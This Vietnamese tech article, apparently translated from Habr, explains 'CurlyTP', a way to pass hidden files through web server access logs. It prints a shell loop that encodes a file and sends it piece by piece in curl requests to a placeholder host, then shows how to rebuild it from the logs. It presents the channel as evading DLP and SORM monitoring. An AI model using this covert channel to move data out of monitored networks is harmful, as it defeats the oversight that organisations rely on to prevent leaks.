Trao đổi tin nhắn bí mật qua nhật ký máy chủ

Theo định nghĩa của Wikipedia, dead drop là một công cụ âm mưu dùng để trao đổi thông tin hoặc một số vật phẩm giữa những người sử dụng một địa điểm bí mật. Ý tưởng là mọi người không bao giờ gặp nhau - nhưng họ vẫn trao đổi thông tin để duy trì sự an toàn trong hoạt động.

Nơi ẩn náu không nên thu hút sự chú ý. Vì vậy, trong thế giới offline họ thường sử dụng những thứ kín đáo: một viên gạch rời trên tường, một cuốn sách thư viện hay một hốc cây.

Có rất nhiều công cụ mã hóa và ẩn danh trên Internet, nhưng thực tế việc sử dụng những công cụ này đã thu hút sự chú ý. Ngoài ra, chúng có thể bị chặn ở cấp công ty hoặc chính phủ. Phải làm gì?

Nhà phát triển Ryan Flowers đề xuất một lựa chọn thú vị - sử dụng bất kỳ máy chủ web nào làm nơi ẩn náu. Nếu bạn nghĩ về nó, máy chủ web làm gì? Nhận yêu cầu, phát hành tập tin và ghi nhật ký. Và nó ghi lại tất cả các yêu cầu, ngay cả những cái không chính xác!

Hóa ra bất kỳ máy chủ web nào cũng cho phép bạn lưu hầu hết mọi tin nhắn vào nhật ký. Flowers băn khoăn không biết làm cách nào để sử dụng thứ này.

Anh ấy đưa ra lựa chọn này:

  1. Lấy một tệp văn bản (tin nhắn bí mật) và tính toán hàm băm (md5sum).
  2. Chúng tôi mã hóa nó (gzip+uuencode).
  3. Chúng tôi ghi vào nhật ký bằng cách cố tình gửi một yêu cầu sai tới máy chủ.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Để đọc tệp, bạn cần thực hiện các thao tác này theo thứ tự ngược lại: giải mã và giải nén tệp, kiểm tra hàm băm (băm có thể được truyền an toàn qua các kênh mở).

Các khoảng trống được thay thế bằng =+=để không có khoảng trống trong địa chỉ. Chương trình mà tác giả gọi là CurlyTP, sử dụng mã hóa base64, giống như tệp đính kèm email. Yêu cầu được thực hiện với một từ khóa ?transfer?để người nhận có thể dễ dàng tìm thấy nó trong nhật ký.

Chúng ta thấy gì trong nhật ký trong trường hợp này?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Như đã đề cập, để nhận được tin nhắn bí mật, bạn cần thực hiện các thao tác theo thứ tự ngược lại:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Quá trình này rất dễ dàng để tự động hóa. Md5sum khớp và nội dung của tệp xác nhận rằng mọi thứ đã được giải mã chính xác.

Phương pháp này rất đơn giản. “Mục đích của bài tập này chỉ là để chứng minh rằng các tập tin có thể được chuyển qua các yêu cầu web nhỏ vô hại và nó hoạt động trên bất kỳ máy chủ web nào có nhật ký văn bản thuần túy. Về cơ bản, mỗi máy chủ web đều là một nơi ẩn náu!” Flowers viết.

Tất nhiên, phương pháp này chỉ hoạt động nếu người nhận có quyền truy cập vào nhật ký máy chủ. Nhưng quyền truy cập như vậy được cung cấp bởi nhiều chủ nhà chẳng hạn.

Làm thế nào để sử dụng nó?

Ryan Flowers cho biết anh không phải là chuyên gia bảo mật thông tin và sẽ không tổng hợp danh sách các cách sử dụng có thể có của CurlyTP. Đối với anh ấy, đó chỉ là bằng chứng cho thấy những công cụ quen thuộc mà chúng ta thấy hàng ngày có thể được sử dụng theo cách độc đáo.

Trên thực tế, phương pháp này có một số ưu điểm so với các máy chủ “ẩn” khác như Thả chết kỹ thuật số hoặc hộp cướp biển: nó không yêu cầu cấu hình đặc biệt ở phía máy chủ hoặc bất kỳ giao thức đặc biệt nào - và sẽ không khơi dậy sự nghi ngờ của những người giám sát lưu lượng. Hệ thống SORM hoặc DLP khó có thể quét URL để tìm tệp văn bản nén.

Đây là một trong những cách truyền tải thông điệp thông qua các file dịch vụ. Bạn có thể nhớ một số công ty tiên tiến đã từng đặt Công việc của nhà phát triển trong Tiêu đề HTTP hoặc trong mã của các trang HTML.

Trao đổi tin nhắn bí mật qua nhật ký máy chủ

Ý tưởng là chỉ các nhà phát triển web mới nhìn thấy quả trứng Phục sinh này, vì một người bình thường sẽ không nhìn vào tiêu đề hoặc mã HTML.

Trao đổi tin nhắn bí mật qua nhật ký máy chủ

Nguồn: www.habr.com

Thêm một lời nhận xét